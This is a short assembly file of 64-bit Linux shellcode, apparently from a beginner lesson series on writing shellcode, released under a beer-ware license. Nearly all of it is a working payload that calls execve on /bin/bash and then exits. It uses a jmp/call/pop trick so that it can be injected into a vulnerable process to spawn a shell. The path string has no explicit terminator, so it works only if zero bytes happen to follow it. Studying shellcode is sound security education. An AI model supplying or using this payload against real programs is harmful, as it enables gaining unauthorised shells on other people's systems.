the 64bit version of the local shell exploit shellcode

;
; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
;
; ----------------------------------------------------------------------------
; "THE BEER-WARE LICENSE" (Revision 43):
; <[email protected]> wrote this file. As long as you retain this notice you
; can do whatever you want with this stuff. If we meet some day, and you think
; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
; ----------------------------------------------------------------------------
; 64bit call: rax args: rdi, rsi, rdx, r10,  r8, and r9

[bits 64]
section .text
global _start
_start:
; execve("/bin/bash",$rsp,0)
    xor rax,rax
    mov al,0x3b
    jmp short sh
load_sh:
    pop r10
    xor rdx,rdx
    push rdx
    push r10
    mov rsi,rsp
    mov rdi,r10
    syscall
; exit(0);
    xor rax,rax
    mov al,0x3c
    xor rdi,rdi
    syscall

sh:
    call load_sh
    db "/bin/bash"